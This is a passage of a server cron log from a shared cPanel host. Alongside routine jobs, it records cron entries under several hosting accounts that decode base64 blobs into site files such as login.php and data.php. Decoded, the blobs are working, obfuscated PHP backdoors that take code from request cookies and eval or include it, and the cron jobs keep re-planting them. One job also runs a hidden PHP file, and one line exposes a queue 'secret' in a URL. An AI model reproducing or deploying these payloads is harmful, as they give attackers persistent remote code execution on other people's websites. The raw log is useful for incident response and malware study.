fZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:05:02 medusa CROND[6293]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:05:02 medusa CROND[6290]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 11:05:02 medusa CROND[6295]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:06:01 medusa CROND[27955]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 11:06:01 medusa CROND[28013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:06:01 medusa CROND[28014]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:06:01 medusa CROND[28015]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:06:01 medusa CROND[28017]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:06:01 medusa CROND[28016]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 11:06:01 medusa CROND[28019]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:06:01 medusa CROND[28021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:06:01 medusa CROND[28022]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:06:01 medusa CROND[28030]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:06:01 medusa CROND[28029]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:06:01 medusa CROND[28031]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 11:06:01 medusa CROND[28032]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:06:01 medusa CROND[28033]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:06:01 medusa CROND[28035]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:07:01 medusa CROND[17402]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:07:01 medusa CROND[17403]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:07:01 medusa CROND[17404]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:07:01 medusa CROND[17405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:07:01 medusa CROND[17406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:07:01 medusa CROND[17407]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:07:01 medusa CROND[17409]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:07:01 medusa CROND[17410]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 11:07:01 medusa CROND[17412]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:07:01 medusa CROND[17413]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:07:01 medusa CROND[17415]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:07:01 medusa CROND[17433]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
